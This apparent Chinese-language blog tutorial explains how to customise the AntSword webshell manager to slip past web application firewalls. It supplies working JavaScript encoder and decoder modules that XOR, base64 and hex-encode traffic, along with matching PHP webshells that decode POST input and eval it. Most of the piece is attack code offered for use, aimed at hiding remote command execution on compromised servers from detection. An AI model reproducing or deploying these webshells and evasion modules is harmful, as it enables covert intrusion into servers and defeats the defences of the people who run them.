前段時(shí)間冰蝎更新了3.0版本,去除了動(dòng)態(tài)密鑰和其他的特征字符,一時(shí)間讓各家廠商措手不及,只能通過(guò)冰蝎請(qǐng)求參數(shù)的長(zhǎng)度去判斷疑似的流量特征,成功地繞過(guò)了WAF的檢測(cè),各家廠商一定會(huì)針對(duì)冰蝎3.0研究出各種攔截規(guī)則,當(dāng)具備一定的檢測(cè)特征后冰蝎也就失去了動(dòng)態(tài)加密的優(yōu)勢(shì)。如果java底子薄弱,無(wú)法修復(fù)冰蝎反編譯后的各種報(bào)錯(cuò),去除掉檢測(cè)特征的話,仍然會(huì)被WAF攔在“大門”之外。蟻劍的靈活性在對(duì)抗WAF方面表現(xiàn)的應(yīng)該可以更出色,不需要很強(qiáng)的代碼功底就可以重新鑄造,雖然蟻劍的整體項(xiàng)目看起來(lái)復(fù)雜,但是只需要有針對(duì)性的修改對(duì)應(yīng)的shell編碼功能的代碼部分就可以完成對(duì)抗WAF的工作。蟻劍的整體結(jié)構(gòu)這里不做具體的說(shuō)明,其他文章有過(guò)詳細(xì)的介紹。這里主要對(duì)蟻劍的shell管理的部分做一個(gè)簡(jiǎn)單的講解。蟻劍所有shell項(xiàng)目的編碼方式均放在 source\core 目錄下,僅修改其中的腳本模版就可以繞過(guò)WAF檢測(cè)的特征庫(kù)。 這里以PHP腳本語(yǔ)言為例說(shuō)明,在php文件夾下有decoder、encoder、template三個(gè)文件夾,分別對(duì)應(yīng)為解碼器、編碼器、文件模版,這里的編碼器和解碼器是沒有對(duì)應(yīng)關(guān)系的,編碼器中定義的加密方法與shell中的解密代碼對(duì)應(yīng),達(dá)到執(zhí)行命令的目的。解碼器的使用會(huì)放在后面講解。index.js文件中對(duì)應(yīng)了蟻劍客戶端的展示配置以及shell執(zhí)行的主代碼架構(gòu),在對(duì)應(yīng)的編碼器和解碼器列表里添加一個(gè)編碼器或解碼器名稱,蟻劍客戶端就會(huì)顯示出來(lái)對(duì)應(yīng)的方法,這樣使用的時(shí)候方便一些。index.js 最后的 data['_'] 就是shell代碼執(zhí)行的主體架構(gòu),蟻劍會(huì)將參數(shù)傳遞到對(duì)應(yīng)的位置拼接成為完整代碼,最終服務(wù)器執(zhí)行的就是這里的代碼。以上介紹的是蟻劍的結(jié)構(gòu),這里是構(gòu)造編碼器的開始。打開encoder文件夾,里面是蟻劍默認(rèn)的編碼模塊:base64.js、chr.js、chr16.js、rot13.js。這里以base64.js為例看一下默認(rèn)的base64模塊是如何工作的。shell所有傳遞的參數(shù)都是在data列表中的,需要執(zhí)行的代碼在 data['_'] 中,`Buffer.from(data['_']).toString('base64')` 將data[‘_’]中的代碼讀取并進(jìn)行base64編碼,然后下面的 data[pwd] 以參數(shù)的形式傳遞到服務(wù)器將data[‘_’]中的代碼在服務(wù)器端解碼并執(zhí)行,所以shell仍舊可以是 “<?php eval($_POST['t']);?>”。雖然data[‘_’]中的代碼都是base64編碼了,但是data[pwd] 是作為參數(shù)傳遞的,所以這里在流量中 data[pwd] 仍是明文傳輸,可以看到請(qǐng)求參數(shù)的最后一個(gè)變量是‘t=%40eval(%40base64_decode(%24_POST%5Bkfab909c2481e5%5D))%3B’,這顯然是過(guò)不了WAF的。將整段base64代碼解碼可以看到“kfab909c2481e5”的參數(shù)對(duì)應(yīng)的正是 index.js 中的data['_']的代碼,列表中除了data['_'] ,其他的參數(shù)會(huì)進(jìn)行一層base64編碼。簡(jiǎn)單的修改一下編碼器,將明文傳輸?shù)膖參數(shù)放棄,避免明文出現(xiàn)。這個(gè)時(shí)候服務(wù)器接收到的php代碼是經(jīng)過(guò)base64編碼的,和之前的參數(shù)一樣,但是缺少了t這個(gè)為服務(wù)器解碼的功能,所以shell需要修改為解base64編碼的功能。‘<?php eval(base64_decode($_POST['t']));?>’。所有代碼都是經(jīng)過(guò)了base64編碼。在不使用base64模塊的時(shí)候抓取流量查看發(fā)現(xiàn)除了data[‘_’]的內(nèi)容,其他參數(shù)也是經(jīng)過(guò)一層base64加密的,這是蟻劍自帶的簡(jiǎn)單編碼功能。這里編碼器構(gòu)造的思路就是把data列表里所有的參數(shù)都取出來(lái)按照自己的加密方法進(jìn)行加密。實(shí)現(xiàn)代碼如下:'use strict'; module.exports = (pwd, data) => { let ret = {}; function xor(payload) { let key='7f84181db668ce6080f6b7502ea8b2e1'; key = key.split('').map(t => t.charCodeAt(0)); let cipher = payload.split('').map(t => t.charCodeAt(0)); for (let i = 0; i < cipher.length; i++) { cipher[i] = cipher[i] ^ key[i % 32]; } cipher = cipher.map(t => String.fromCharCode(t)).join('') cipher = Buffer.from(cipher).toString('base64'); return cipher; } //自定義xor算法,將參數(shù)均與密鑰疑惑,最后base64編碼返回 for (let _ in data){ //遍歷data列表 if (_ === '_') { //如果列表鍵為_即payload則跳過(guò) continue ; }//否則其他所有參數(shù)進(jìn)行編碼 ret[_] = Buffer.from(data[_]).toString('base64'); //取出參數(shù)base64編碼,這里其實(shí)進(jìn)行了兩次base64,因?yàn)橄亜Ρ旧硪呀?jīng)有過(guò)一層base64 ret[_] = xor(ret[_]);//進(jìn)行異或運(yùn)算 } ret[pwd] = Buffer.from(data['_']).toString('base64'); //data['_']進(jìn)行base64編碼 ret[pwd] = xor(ret[pwd]); //進(jìn)行異或運(yùn)算 return ret; } 由于自定義了加密方法,shell中需要對(duì)應(yīng)的解密方法,密鑰保持一致。<?php $key = '7f84181db668ce6080f6b7502ea8b2e1'; $test = (base64_decode($_POST['keyword'])); for ($i = 0;$i<strlen($test);$i++){ $test[$i] = $test[$i]^$key[$i%32]; } eval (base64_decode($test)); ?> 此時(shí)僅是shell可以正常解析data['_']中的參數(shù),其他的參數(shù)解碼是在蟻劍的模版文件中的,需要在 template 文件下修改對(duì)應(yīng)的代碼,要將template下的所有涉及到參數(shù)傳遞的js文件都進(jìn)行方法修改。例如filemanager.js原來(lái)的js解碼方法有一層base64解碼,對(duì)應(yīng)的就是在不使用編碼模塊時(shí)data[‘_’]外的參數(shù)單層base64編碼。這里添加自定義的方法,為了容納默認(rèn)的編碼模式,這里加了一個(gè)判斷,如果連接密碼為keyword則進(jìn)行異或運(yùn)算,否則直接返回原參數(shù),這里需要對(duì)每個(gè)模塊都添加此方法,這樣流量中就不再僅僅一層base64編碼。可以從流量包中看到雖然還是base64編碼但是沒有密鑰無(wú)法還原出php代碼,接下來(lái)就是解決蟻劍的響應(yīng)內(nèi)容的編碼問(wèn)題。蟻劍的解碼器和編碼器是沒有對(duì)應(yīng)關(guān)系的,并不是解碼器要對(duì)應(yīng)編碼器的加密方法才能正常執(zhí)行。解碼器是在shell執(zhí)行后從服務(wù)器端響應(yīng)內(nèi)容到蟻劍客戶端時(shí)使用的,解碼器首先將響應(yīng)內(nèi)容按照自定義的方法加密,然后在蟻劍客戶端再按照自定義方法解密,說(shuō)起來(lái)有點(diǎn)難以理解??蠢樱J(rèn)的自定義解碼器是這樣的:“asoutput” 方法是蟻劍向服務(wù)器發(fā)送代碼,使服務(wù)器執(zhí)行“asoutput”方法將響應(yīng)內(nèi)容加密。蟻劍客戶端接收響應(yīng)內(nèi)容后使用“decode_buff”解碼。這里要注意的是解碼器編碼部分的自定義方法名稱必須為“asenc”才能被識(shí)別。簡(jiǎn)單的混淆一下,這樣在服務(wù)器響應(yīng)內(nèi)容中會(huì)添加codecode作為混淆代碼。這樣就可以避免base64被解碼,可以看到在響應(yīng)內(nèi)容里仍舊有些奇怪的,就是響應(yīng)內(nèi)容的開頭“a5bc0888e”和結(jié)尾的“b95cf28bde0”,這也是蟻劍默認(rèn)添加的隨機(jī)混淆字符,和base64放在一起總是感覺別扭的,可以改進(jìn)一下解碼器的加密方法。'use strict'; module.exports = { /** * @returns {string} asenc 將返回?cái)?shù)據(jù)base64編碼 */ asoutput: () => { return ` function asenc($out){ $payload = base64_encode($out); //第一次base64編碼 $base = base64_encode(strrev($payload));//字符串逆轉(zhuǎn)后base64編碼 $hex=''; for ($i=0;$i<strlen($base);$i++){ $hex.=dechex(ord($base[$i])); //將base64編碼轉(zhuǎn)16進(jìn)制 } return ($hex); } `.replace(/\n\s+/g, ''); }, /** * 解碼 Buffer * @param {Buffer} buff 要被解碼的 Buffer * @returns {Buffer} 解碼后的 Buffer */ decode_buff: (buff) => { let num=0; let hex=''; for(let item=0;item<buff.length/2;item++){ hex = hex+String.fromCharCode(parseInt(buff.slice(num,num+2),16).toString(10));//解16進(jìn)制轉(zhuǎn)為字符串 num = num+2; } let payload = Buffer.from(hex.toString(), 'base64');//第一次base64解碼 let cipher = ''; for (let i = payload.length-1;i>=0;i--){ //console.log(payload[i]); cipher = cipher+String.fromCharCode(payload[i]);//反轉(zhuǎn)字符串 } return Buffer.from(cipher.toString(), 'base64');//第二次base64解碼 } } 把服務(wù)器的響應(yīng)內(nèi)容經(jīng)過(guò)一番折騰最后使用hex編碼返回,這樣配合蟻劍本身的返回隨機(jī)字符就更加具有迷惑性,蟻劍解碼器的響應(yīng)內(nèi)容的加密配合蟻劍本身的混淆代碼可以成功的避免WAF對(duì)響應(yīng)內(nèi)容的解碼。其實(shí)沒什么好總結(jié)的,在理解了蟻劍的編碼器和解碼器的功能之后就可以在具體功能實(shí)現(xiàn)的位置進(jìn)行修改,進(jìn)而實(shí)現(xiàn)無(wú)特征流量傳輸,代碼功底更強(qiáng)的話可以修改蟻劍的整體代碼實(shí)現(xiàn)加密,就不用再每個(gè)模版都進(jìn)行修改。
|